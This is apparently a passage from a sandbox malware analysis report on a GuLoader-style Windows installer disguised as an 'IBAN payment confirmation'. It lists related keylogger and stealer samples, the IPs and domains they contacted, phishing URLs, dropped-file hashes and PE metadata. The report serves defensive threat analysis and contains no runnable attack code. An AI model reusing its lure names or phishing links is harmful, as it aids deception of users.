	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	678763_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	HALKBANK EFT RECEIPT DATED 02.12.2024.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	QUOTATION_DECQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
reallyfreegeoip.org	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	#U00d6denmeyen Kredi Taksit Bilgileriniz.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	678763_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	HALKBANK EFT RECEIPT DATED 02.12.2024.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	QUOTATION_DECQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
api.telegram.org	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	yMvZXcwN2OdoP6x.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://connexion-espacesclients.support/gkm/	Get hash	malicious	Unknown	Browse	149.154.167.220
	Pdf Reader.exe	Get hash	malicious	Stealerium	Browse	149.154.167.220
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	https://dsiete.co/share.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	yMvZXcwN2OdoP6x.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://connexion-espacesclients.support/gkm/	Get hash	malicious	Unknown	Browse	149.154.167.220
	Pdf Reader.exe	Get hash	malicious	Stealerium	Browse	149.154.167.220
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	https://dsiete.co/share.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	Ref#1550238.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	uC8FY7Hvsx.xls	Get hash	malicious	Unknown	Browse	188.114.96.6
	BuMdSP88Ze.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	uC8FY7Hvsx.xls	Get hash	malicious	Unknown	Browse	172.67.194.230
	SANTANDER%20AUDITORIA.scr.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	uC8FY7Hvsx.xls	Get hash	malicious	Unknown	Browse	188.114.97.6
	2112024_RS_GIBANJ -SWIFT.docx.doc	Get hash	malicious	Unknown	Browse	172.67.194.230
	Pp7OXMFwqhXKx5Y.exe	Get hash	malicious	FormBook	Browse	172.67.201.49
	2112024_RS_GIBANJ -SWIFT.docx.doc	Get hash	malicious	Unknown	Browse	188.114.97.6
	New Purchase Order.rtf	Get hash	malicious	Unknown	Browse	188.114.96.9
UTMEMUS	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	678763_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	HALKBANK EFT RECEIPT DATED 02.12.2024.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Cotizaci#U00f3n_Pedido_Manzanillo_MX.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	tA5DvuNwfQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Factura.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Gastroptosis (5).exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	021337ISOGENERAL.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	#U00d6denmeyen Kredi Taksit Bilgileriniz.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	678763_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	HALKBANK EFT RECEIPT DATED 02.12.2024.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	QUOTATION_DECQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
3b5074b1b5d032e5620f69f9f700ff0e	Ref#1550238.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	BuMdSP88Ze.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	RFQ 9-XTC-204-60THD.xlsx.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	SANTANDER%20AUDITORIA.scr.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Ref#1550238.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Bestellung - 021224 - 901003637.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	1099833039444.pdf.js	Get hash	malicious	Remcos	Browse	149.154.167.220
	https://nam05.safelinks.protection.outlook.com.url.atp-redirect.protected-forms.com/XTnQrajg1OGVHZkdSZC9jY09NbW40Z2plNHVuWDhsQVZRZkFYNVBxOWlTekFXSXBLSVRWLyt2WXhuS1hGNVo3UUxGQTRLRVpXNHpLSjVKdDEvbHJLSmtFWjMzbFIxb3IvR2xvdWJ1em5yeTJBK1FXdzF3UG52YXBaVmJBSEJZcXBSdjFvMTh6TmplRHV4azZ6UHkrTnM5dUY2QmVzbVFVRWk5di9PMEZxZ2lXNnM5N2tuOExqN1pyUy0tcEx5Q0xXTTBEOURyNFdnTS0tTTJJM3JGT2w2ZzQxTnorb2NMd1lrZz09?cid=2305347406	Get hash	malicious	KnowBe4	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	yMvZXcwN2OdoP6x.exe	Get hash	malicious	DarkCloud	Browse	142.250.181.1 172.217.19.174
	Curri.lNK.lnk	Get hash	malicious	Unknown	Browse	142.250.181.1 172.217.19.174
	36244920cQPUT1.lNK.lnk	Get hash	malicious	Unknown	Browse	142.250.181.1 172.217.19.174
	1099833039444.pdf.js	Get hash	malicious	Remcos	Browse	142.250.181.1 172.217.19.174
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	142.250.181.1 172.217.19.174
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.1 172.217.19.174
	1013911.js	Get hash	malicious	FormBook	Browse	142.250.181.1 172.217.19.174
	cHtIyrhXeG.lnk	Get hash	malicious	Unknown	Browse	142.250.181.1 172.217.19.174
	HiDOalUAfc.lnk	Get hash	malicious	Unknown	Browse	142.250.181.1 172.217.19.174
	dFezsjdHtg.lnk	Get hash	malicious	Unknown	Browse	142.250.181.1 172.217.19.174

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsl71F.tmp\System.dll	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	WC10SCPMaX.exe	Get hash	malicious	Azorult, GuLoader	Browse
	PayeeAdvice_HK54912_R0038704_37504.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	CL714440147.exe	Get hash	malicious	GuLoader	Browse
	TKnBbCiX07.exe	Get hash	malicious	GuLoader	Browse
	________.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Snurrevoddenes.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	Eksistensberettigelsernes102.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsa5F5.tmp

Download File

Process:	C:\Users\user\Desktop\IBAN payment confirmation.exe
File Type:	data
Category:	dropped
Size (bytes):	1175563
Entropy (8bit):	3.389619853796875
Encrypted:	false
SSDEEP:	12288:M8rRdGrEHQWmxJZy7gWKJkJz+uQyWpKJ:zfqmIBJkJatpK
MD5:	E9467C0EB5305E8D1A4EE735AEC4A25D
SHA1:	7E7AD95671E2E4C797D6BCB7DB014F453B4AF0C7
SHA-256:	3B4CDB0644298528573EB3184C4CE3B7AF837D076AC21CDB070C7535974337A6
SHA-512:	1BCB1E7209B190699397F910F853F025D87C0E1A9387CD6E87424EFCAAFE95BB535C530B15EDCAD01864DB3146C0D7EFE8E350476434B8DCFC6B6080A2E323B2
Malicious:	false
Reputation:	low
Preview:	.:......,.......,.......\.......L$.......9.......:............................................................u.........................R...................................................................................................................................................G...J...............h...............................................................g...............................................................j..............................................................................................................................._.......................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsl71F.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\IBAN payment confirmation.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	11264
Entropy (8bit):	5.801108840712148
Encrypted:	false
SSDEEP:	192:e/b2HS5ih/7i00eWz9T7PH6yeFcQMI5+Vw+EXWZ77dslFZk:ewSUmWw9T7MmnI5+/F7Kdk
MD5:	FC90DFB694D0E17B013D6F818BCE41B0
SHA1:	3243969886D640AF3BFA442728B9F0DFF9D5F5B0
SHA-256:	7FE77CA13121A113C59630A3DBA0C8AAA6372E8082393274DA8F8608C4CE4528
SHA-512:	324F13AA7A33C6408E2A57C3484D1691ECEE7C3C1366DE2BB8978C8DC66B18425D8CAB5A32D1702C13C43703E36148A022263DE7166AFDCE141DA2B01169F1C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Bank Swift and SOA PRN0072003410853_pdf.exe, Detection: malicious, Browse Filename: WC10SCPMaX.exe, Detection: malicious, Browse Filename: PayeeAdvice_HK54912_R0038704_37504.exe, Detection: malicious, Browse Filename: CL714440147.exe, Detection: malicious, Browse Filename: TKnBbCiX07.exe, Detection: malicious, Browse Filename: ________.exe, Detection: malicious, Browse Filename: Snurrevoddenes.exe, Detection: malicious, Browse Filename: Eksistensberettigelsernes102.exe, Detection: malicious, Browse Filename: ALI HASSO - P02515 & P02518.exe, Detection: malicious, Browse Filename: PRICE ENQUIRY - RFQ 6000073650.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L.....oS...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............................... ..`.rdata..C....0......."..............@..@.data...x....@.......&..............@....reloc..>....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Inclinator\Emalje.kap

Download File

Process:	C:\Users\user\Desktop\IBAN payment confirmation.exe
File Type:	data
Category:	dropped
Size (bytes):	161977
Entropy (8bit):	1.2465706431701635
Encrypted:	false
SSDEEP:	768:j91kr2E4uLB4rAvVSJUxZOKLuPYUIlh6njQqVK+P7T6r6hI4W7lD1jBCgUpo:94irAZug+TLg1cpo
MD5:	818D9B577C6A2CCB8C8D753C89B0AEED
SHA1:	1912E60E75B47E0AC0B0ACDB2B320F0B36D3CE22
SHA-256:	B53DFB245A8D5A0F0FAEEC7E8B4AE273522AC29FD29B33608F9BA7F9ADB90279
SHA-512:	91993AA2E3E2666A3945886101B2B670CD3B0D76CF3CFFF3684DCB310FE324A1C650FAB5D5D00B8CFA49B5A7713FE2DBBA6DC2D8BB8DAC7A169495E6694CE4C6
Malicious:	false
Reputation:	low
Preview:	................(.R.............B...........f....H...................................................5....................................5........m............................./................?................4...............................l..........................................U..........................................................#....................M..............................................................g...................................................l..................f....................?.........................._..........................................................................u......x....................l....................~.......................S...C.............................................................................................).................l......................................................................................................................b...k................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Mixerudstyr\Fertiliserer.Ban254

Download File

Process:	C:\Users\user\Desktop\IBAN payment confirmation.exe
File Type:	data
Category:	dropped
Size (bytes):	29986
Entropy (8bit):	4.560622606474619
Encrypted:	false
SSDEEP:	768:Pgio3spWQ6sJqPBXqn9IZUaYdJM8qm06/:uspa3g9IZU51Vl
MD5:	1D3EA1813CCF77D02EB0FA2A422D59C2
SHA1:	243C701DA58EE2E5BA413CBF20A4398042F05D35
SHA-256:	23274FE6F3C10490E791712D6EE69019919C6203CD1177AD326A1965A80A2E9B
SHA-512:	72B9B883E660364782B87CE926631D424C2065B6F64EE5AC4E866FB949A7CFA47E4DD5C15B1F21900DC3E3C1E512F94B746E1582FFBEE36EE24C8D1AAE8D7D1C
Malicious:	false
Reputation:	low
Preview:	...........S...'................tttttt......DDD.......p...............FF...........\|...........:.....MM...~.}}}}}.........WW.........A........KK....~...............................a.$..8.......w.22.UU..........ccccc..............X..t....!....................~........C.................................p.................666..................................c........W......................<<<.................66..............Y.y..LL...L...~..........................E......&&&&....................../..............................mm.......y.X..k...dd..........................................................=...............................UU..................................^^...........aa........................ww...........55555.O.v............................].[............o......++......Z.....................TTTTTT.....f.'........111..................OO.......................___...................................ZZZZ.XX........RRR.........I...........1.......).......zz.....................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Mixerudstyr\img2.jpg

Download File

Process:	C:\Users\user\Desktop\IBAN payment confirmation.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 225x225, components 3
Category:	dropped
Size (bytes):	2929
Entropy (8bit):	7.418910042244289
Encrypted:	false
SSDEEP:	48:j2XBhBOaFxHfEaq1kk1YunCRbvwxhjAxnyHIvR4SnHP7oNLpLR8Fqhr:j2XBv9Fx2kkO7RihjlovpnHPCpaQ1
MD5:	49DAF4E74443D8502F3229468615185F
SHA1:	9BB41BF5F382EE315893366F559FA26D57A4CD5F
SHA-256:	E5EE495A89E55467DB6A396F012EDB6A71D2E762CFC7FC6846FE7259528BF168
SHA-512:	EE9ABC6A19215FED64584BA24736ECBA24139CD03A75530FF351C99A25628410472A28F4EE08E87CE1F75DC79396A2A9C1AC79C399720C320437BC18993B561A
Malicious:	false
Reputation:	low
Preview:	......JFIF...................................................( ..%...!1!%)+.....383-7(-.+...........+...+8+++-+-+-+--+--+7+---+7-7+-7-7++---++-+7--7-+7+-+..........."........................................E........................!.1AQq."a...2...BR....#3Cbr...S......4DUcs..................................................1!............?.................................................................................@...............@........'7.O\|.(....i.<..M.4....vZ...-T.,~.&../...m.:.6..oe.;WZ]m[..:..:\.6U...........ey....F..m.I...6..G..S.z4..>..1p...E~OG.fQD.............I....$"@...9.g..]d.Ao..!.f../.oH..}.6.INNRm..l..ngV..+G...b$V.N...k.....=.........IR.KoG.qrJ...c..)..N[W..z.....h.R..Tm......ME....M....E...9.OI=.roU..%.&..a1p...;.\S..\|..x..._U..L....w>...............A$...D....0s.F.)s.uy..\._7......DbE..z....r.E...r7\|.1..}=......./.a.r.NJJs.........+...&..,...9.wm..V.ddlx.....e.f..4T.x.y>\..n....7.tu......M.gq[.6.......>.N.#....kzw,..(.QJ*K.L.......... .

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Mixerudstyr\pinrail.whe

Download File

Process:	C:\Users\user\Desktop\IBAN payment confirmation.exe
File Type:	data
Category:	dropped
Size (bytes):	461378
Entropy (8bit):	1.252059381950645
Encrypted:	false
SSDEEP:	1536:s3tr+hilKd11tUzcxZg7SBobbR5FF7b7IvSog:sRVmQc3u9F7b76
MD5:	3AD2FE4EA13486258EADDD1E5940A6D7
SHA1:	06D0468A125D754D4534C182D79444DFB7A1CF61
SHA-256:	E4C5F20595C446D20C978CF7B486579BA2FFC17E64B940733B40C89DF4331319
SHA-512:	82328E01492BDB8B23555CB369279A5352B35E0B51A4A4AC88D9F9285BBDABA627FE01139B4F9669847252D5A59FC512B2463A364EFD5C33B83309D6A8985D59
Malicious:	false
Preview:	w......................j..........................p................................................-.......................;....................Y..........................1:....................................................................................G........B...............................................................................^.........................................................o.................'......................... .....................................F..................................................................................................................E...........................................97.....................................K...f.....r..........._...............h........+........................ ........./.............................d........m..........................b...................e.c......................................................................\...........5......t.....................b.................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Mixerudstyr\unyouthfully.ske

Download File

Process:	C:\Users\user\Desktop\IBAN payment confirmation.exe
File Type:	data
Category:	dropped
Size (bytes):	225641
Entropy (8bit):	1.2362366155163755
Encrypted:	false
SSDEEP:	768:HcPiBl7QD/ad4B+etLBBF64vscOIBiMFYnfBc1TS/HVtHlY4bDzZkmNQyFY670Fn:QaxOPt/G9V4yf7P/zZkX00b/h
MD5:	94C4B93474D07658FCBD411A20E68532
SHA1:	66421117EB902B48D39A1514C88C868394085FCF
SHA-256:	50B1D7356F0CC22F2A9AE93A7CC9738C6BC0907724ACDB85F68F594333B706DC
SHA-512:	BC1C40FF5B9FD71590E9B3E71D7B58A46E8AFBE56DFBD22C39F5DC0952ACEDC96F2BC4D8428EA0BCD75D67BD32F2B095585925CD8141063801FB128EA46F7471
Malicious:	false
Preview:	..........................~................................................/........[...............................................R......................R....................................................{.....................................E.........................E.....................................................8...../...................................5.............................................K...........................*.....................................k...................\|.......=....................s....................................................................p...2...................................g.N................#................~......................................B..................................................J........................?............................{./.........................U................................z...........+..........................................................K..........................................A......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Sawmont.tho

Download File

Process:	C:\Users\user\Desktop\IBAN payment confirmation.exe
File Type:	data
Category:	dropped
Size (bytes):	267270
Entropy (8bit):	7.809499666102177
Encrypted:	false
SSDEEP:	6144:oGjnsVygU2HQWmx3h7D9/aVg4cx+1nVxOWKJkJz9nHA7k2s:9rEHQWmxJZy7gWKJkJz+s
MD5:	B94CC3E728075F4C42FED48803C02F56
SHA1:	7889BE1858ECD63B074214928821AF43D1AB4E3A
SHA-256:	DF06C08893B9914C8B135C27D31D7ECB624B503C0C0EAE722E9A1E2C3BB18445
SHA-512:	EC761E7DC0CB9DFA26DF933993FED93F1BEBF59CC6E65FDB48C8D36066D377F20B344C736B3594D76A41A085E764E4DEE20C143D3A47BF877D3900DEB4657DD2
Malicious:	false
Preview:	...<<<..........CC....-................>>>..............$...................%%%.+........>>.........EE...................R...c........B....22........D..pp.AA.RRR.....}}.l..........9........ll..1........bb.B..000...........pp........77.......xxxxx.wwwww......../.........oo.bb............................%%.SS...................(......................###.......................K..........o.......................................i.9....................2...III..................................vvv.......UU.4444.......HH..g...66....NN........%%.............QQ........N....%%............nnnn....4..TTTT....BBB..'...........................uuuu............F.ww.e.....................$$.......n.................}...$$$.......................s....................!!............................A......................mmm..GG.........................jjjjjjjj....~..............................................>............?.D....5...D.d...::................AAAA..FF........................!...WWW.............

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.036021399095367
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	IBAN payment confirmation.exe
File size:	715'594 bytes
MD5:	b134b557b86a160168de0c56ba982ea6
SHA1:	7c6e7f286bc9de5bd66a5cf4713d7938e78ab3ae
SHA256:	5b67270f1f8cfdbb96cfa359f9d9caa35fcfa9538ef8a3b27fff7b7001c3584c
SHA512:	c0f192057f8a8f70508338ebf08637c0bbd36b86189e35f240a602da647617dddb2c8c8e8d7e4c0301d28263c29902147190470426b1e956950bee667de1a3e6
SSDEEP:	12288:xlYZmcRHOkPavoNvBCkiVbFLTw3qH+ehqv5UR1aIoY:UmcdOkS8vBPi9KmqvSRgQ
TLSH:	39E4E02F27164046FE9415F2B8A3DD47A1F9FEBC116973496CA2FE1790B7B70394A088
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.ju.ju.j..ujw.ju.+j..j..wjd.j!..j..j..,jt.jRichu.j........PE..L.....oS.................`.........Z3.......p....@

File Icon


Icon Hash:	058cc0e474936126

Static PE Info

General

Entrypoint:	0x40335a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x536FD79B [Sun May 11 20:03:39 2014 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	e221f4f7d36469d53810a4b5f9fc8966

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+14h], ebp
mov dword ptr [esp+10h], 00409230h
mov dword ptr [esp+1Ch], ebp
call dword ptr [00407034h]
push 00008001h
call dword ptr [004070BCh]
push ebp
call dword ptr [004072ACh]
push 00000008h
mov dword ptr [00429298h], eax
call 00007F65A850098Ch
mov dword ptr [004291E4h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 00420690h
call dword ptr [0040717Ch]
push 0040937Ch
push 004281E0h
call 00007F65A85005F7h
call dword ptr [00407134h]
mov ebx, 00434000h
push eax
push ebx
call 00007F65A85005E5h
push ebp
call dword ptr [0040710Ch]
cmp word ptr [00434000h], 0022h
mov dword ptr [004291E0h], eax
mov eax, ebx
jne 00007F65A84FDADAh
push 00000022h
mov eax, 00434002h
pop esi
push esi
push eax
call 00007F65A8500036h
push eax
call dword ptr [00407240h]
mov dword ptr [esp+18h], eax
jmp 00007F65A84FDB9Eh
push 00000020h
pop edx
cmp cx, dx
jne 00007F65A84FDAD9h
inc eax
inc eax
cmp word ptr [eax], dx
je 00007F65A84FDACBh
add word ptr [eax], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7494	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5f000	0x43188	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5e68	0x6000	2f6554958e1a5093777de617d6e0bffc	False	0.6566162109375	data	6.419811957742583	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1354	0x1400	2222fe44ebbadbc32af32dfc9c88e48e	False	0.4306640625	data	5.037511188789184	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x202d8	0x600	9587277f9a9b39e2caf86eae07909d87	False	0.4733072916666667	data	3.757932017065988	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2a000	0x35000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5f000	0x43188	0x43200	ad79ab7bc0418c21ba04b90eb50d4a0c	False	0.18500494646182494	data	4.605797713668011	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x5f2b0	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x5f618	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.1810552711779152
RT_DIALOG	0xa1640	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0xa1788	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0xa18c8	0x100	data	English	United States	0.5234375
RT_DIALOG	0xa19c8	0x11c	data	English	United States	0.6091549295774648
RT_DIALOG	0xa1ae8	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0xa1bb0	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xa1c10	0x14	data	English	United States	1.1
RT_VERSION	0xa1c28	0x258	data	English	United States	0.5216666666666666
RT_MANIFEST	0xa1e80	0x305	XML 1.0 document, ASCII text, with very long lines (773), with no line terminators	English	United States	0.5614489003880984

Imports

DLL	Import
